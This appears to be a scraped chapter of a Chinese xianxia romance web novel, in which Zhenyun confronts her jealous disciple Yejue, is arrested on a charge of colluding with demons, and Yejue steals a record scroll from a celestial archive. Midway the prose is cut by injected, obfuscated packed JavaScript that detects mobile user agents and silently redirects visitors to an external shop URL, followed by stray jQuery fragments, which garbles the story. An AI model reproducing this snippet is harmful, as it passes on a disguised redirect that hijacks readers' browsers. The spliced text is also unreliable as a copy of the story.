轮到枕云瞬间停止了思考,她和夜玦两人互相看着对方,枕云从他凝固的眉眼间读出哀怨的含义。
怎么像个被妻子背叛的丈夫在质问自己?
枕云张着嘴,犹豫了会,“...啊?”
夜玦垂下眼,“那我呢?你要与他结为道侣?我能说说我的意见吗?”
枕云挑着眉,“那你说。”
夜玦直接了断,“我不同意。”
枕云:“......”
枕云不明白这有什么好问的。
枕云:“这对你而言很重要吗?”
很重要吗?夜玦不知道,但只要看到枕云和栖梧在一起,他的情绪就会莫名嫉妒,她的目光怎么可以停留在他人身上?她还笑得那么开心,那仙子未来真的会与她结为道侣吗?
乱七八糟的想法一个个冲进他的脑海中,不容抗拒。尤其是当他看到枕云要收下他赠予的信物时,夜玦控制不住自己心里的凌乱,此刻只想把她带走。
夜玦的眼神愈发幽深,“枕云,我不知道。但如果你要与他结为道侣,我的情绪很奇怪……”
夜玦松开对她的桎梏,他轻轻歪了歪头,像是在表达疑惑。
枕云怔了怔,纳闷地看着他,脑海里渐渐浮现出一个不可置信的想法。
枕云:“夜玦,你是在吃醋吗?”
夜玦不明所以地盯着她,他紧缩着眉头,似乎是在理解这个情绪。
夜玦:“...吃醋?”
枕云朝他向前一步,夜玦被钉在了原地,有些不知所措。
枕云:“不然呢,你就是在吃醋呀。”
夜玦忽然后退了步,枕云步步紧逼。
枕云沉着脸,“夜玦,你到底来自哪里?我去问过了,你...不是从两界墟回来的。”
夜玦深吸了口气,答非所问道:“你只需要知道,我不会伤害你。”
说罢,夜玦匆匆离开,只留下枕云站在原地看着他慌乱的背影。
——
“诶,你发什么呆呢?”
月禾再枕云脸上挥了挥手,枕云才连忙回过神。
枕云木讷地摇摇头,“……没有。”
月禾:“还说没有!瞧你这魂不守舍的样子,这才几天呀,你该不会就把心丢给蓬莱岛那位了吧?”
枕云气鼓鼓地拍了她一掌,“别瞎说!”
月禾:“我还等着喝你喜酒呢!”
枕云瞪了她一眼,“不可能!”
月禾意味深长地看了她一眼,“哦——我知道了,肯定还在心心念念你的好徒弟吧!”
“所以呢,那天之后你俩还说了什么?我想想,一定是他吃了坛陈年老醋就像话本里那样把你压在墙上亲——”
枕云连忙捂住她的嘴,哪里来的想象力这么丰富?
“才没有啊!你不要胡说八道!”
月禾耸耸肩,“好好好,那你们现在呢?”
枕云泄了气般,她低头无意识地勾着自己的裙带,“我哪知道呀,他这两天神出鬼没的,好像在躲我,影子都见不到。”
月禾:“你不是给他下过束仙咒么?”
枕云:“他当然在仙界了,我才不要去找他,他爱去哪去哪吧,关我什么事!”
月禾打趣倒:“哎呀,有些性格总是要逼一把的,你再质问他一次说不定他就明白了呢?”
枕云望向天边的流云一时间没有说话,或许是心太乱,世界也变得朦胧不清。
夜玦几日躲着她,把她的心也变得空落落的,怎么填都填不满……
月禾亲昵地拉着她,“走吧走吧,我带你去凌仙织衣坊逛逛,据说又上新了一批裙子!”
枕云:“你的灵石又不保了!”
两人手挽着手走出了仙桃林,而在不为人知的地方一道黑影悄悄闪过。
月禾忽然摸了摸衣服,枕云问道:“怎么了?”
月禾摇摇头,“没事,感觉刚刚身上少了什么东西......”
——
夕阳透过七彩祥云映在夜玦那张无比完美的脸上,他眉头微蹙,手里攥着一块令牌,匆匆来到天录阁门口。
守卫漫不经心抬头看了他一眼,“这位仙友,藏经阁出门右转。”
“都说了多少次了,天录阁非闲杂仙等不得入内,还是天天要我们念叨。”
那守卫颇具言辞嘟嘟囔囔着,夜玦淡淡瞥了他一眼拿出手里的令牌。
守卫立即变了神色,他狐疑地接过令牌在手里感应了会。
“清砚仙尊门下的?”
夜玦面不改色,“是,仙尊让我来找些资料。”
守卫连忙点头哈腰,“好好好,您请。”
夜玦正大光明地便走进了天录阁。
天录阁内书册多得眼花缭乱,层层叠叠的古籍摆放在一块,夜玦已经数不清是多少次在里面打转了。
他头疼地揉了揉太阳穴。
夜玦拿出许久不用的传音符,只是片刻里面便有了回响。
夜玦:“小夭,你在吗?”
魑小夭:“你个臭魔尊居然还记得我,我还以为你早把我抛到九霄云外了!”
夜玦:“我潜入天录阁了,但是我现在找不到仙界的下凡记录册。”
魑小夭:“你都找不到,那我就更找不到了啊!”
夜玦的眉头皱成一个“川”字,魑小夭在对面叹了口气,“你给我等着,我去翻一翻!”
夜玦“嗯”了声,同时脑海里那道沉闷的声音也响起,“你想找人?来吧,我将我的力量借用给你,做我的奴隶吧!臣服于我!”
夜玦:“闭嘴!我不需要你!”
古老的声音:“呵呵呵,我会等着你改变选择。”
忽然天录阁内四面八方响起了长鸣声,夜玦警觉地在楼梯上朝下看去,只见冲进来七八个仙子。
“有可疑仙士闯入天录阁内,一旦发现立刻通报!”
“是!”
夜玦心下不妙,连忙找到地方隐匿起来。
他快速在无数个书架中间穿梭,一道道红光仙术与他擦肩而过。脑海里的声音不断重现,喋喋不休。
冷汗沿着脸颊流下,夜玦靠在墙后平复呼吸,心脏咚咚咚在重重敲击他的心房,手里的传音符快捏碎了也等不到回声。
——
枕云正心不在焉地和月禾逛街,月禾拿着衣裙在她身上比划。
“这件如何?那件也不错!”
枕云将衣裙一股脑地推还给她,“不要了,真不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656547|206997||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
喜欢。”
月禾:“哼,等来了个霸道道侣全部给你都买下来,看你还喜不喜欢!”
枕云翻了白眼。
正当两人说笑时,忽然从天而降一群仙兵将她们围住。
枕云和月禾怔在原地,“这是干嘛?你们在搞什么节目吗?”
两位仙兵严肃地走上前,把枕云手臂压住,枕云一头雾水不明所以。
带头的拿着长枪指着枕云,“这位仙子,经人举报你疑似与魔界勾结,请速速和我们走一趟。”
枕云瞠目结舌,仿佛听见了什么惊天笑话,“什、什么?怎么可能!”
“证据确凿,容不得抵赖。”
一道熟悉的声音传来,枕云抬眼望去——是夙璃。
夙璃摇着轻扇缓缓从他们背后走出来,“枕云,你的狡辩没有任何意义。”
枕云的眼睛死死黏在他身上,眼里满是不可置信与愤怒。
月禾在一旁大喊,“你少在这血口喷人!哪里来的魔族敢在仙界为非作歹!”
夙璃:“那你可得问问她的好宠侍了。”
“你难道不知道你身边那位是恶名昭著的魔尊?”
枕云和月禾瞬间哑口无言。
即便知道夜玦的身份有疑,但他怎么可能是魔尊?!
那个生活在自己屋檐下同吃同住,天天给自己做饭的乖徒弟,她手把手教会法术的,居然是魔尊???
那他图什么呢?图仙法?图仙桃?总不可能是图她吧?
枕云细细思索,“不!不可能!你在骗我对不对!”
夙璃轻笑一声,“骗你?我可没那闲工夫,枕云你还是先担心担心你自己吧。”
——
夜玦依旧在到处闪躲寻找记录册,而天录阁里似乎开启了某种阵法,书架来回变换位置,更是让他难上加难。
夜玦咬牙坚持着,终于传音符里有了消息。
魑小夭:“夜玦!是个厚厚的金色卷轴,侧面写着下凡记录册。”
夜玦慌乱的心稍稍安定,“知道了。”
有了目标,寻找起来便简单很多,夜玦仔细查找还要躲过追兵的巡捕。
终于夜玦定睛一看,伸手从一个移动的书架上找到了金色卷轴。
“看到他了!他在这边!”
夜玦连忙拿起卷轴落荒而逃,一道雷法落在他的脚边。
“快追!”
夜玦的力量被封印在体内,恐怕不是对手,他放倒各个书架拖延时间。
夜玦打开卷轴,纸张无穷无尽记录着每一位下凡的仙子。
头疼欲裂,脑海里还有那嘈杂的声音。
夜玦躲进一个角落里,手指一一扫过密密麻麻的名单。
发间的汗水不知何时落进了眼睛里,夜玦眯了眯眼,忍着酸楚继续寻找。
没有时间可以给他等待了。
名单上似乎遵循着某种规律,可夜玦迟迟找不到“祝无忧”这个名字。
背后的《下凡记录册》还在幽幽发着光。
“全都过来!包围住他!”
夜玦拿着手一抖卷轴滚落到地上飞速展开,夜玦无意中拿起最后一页。
上面第一个名字便写着“明舒仙尊门下:枕云——祝无忧”。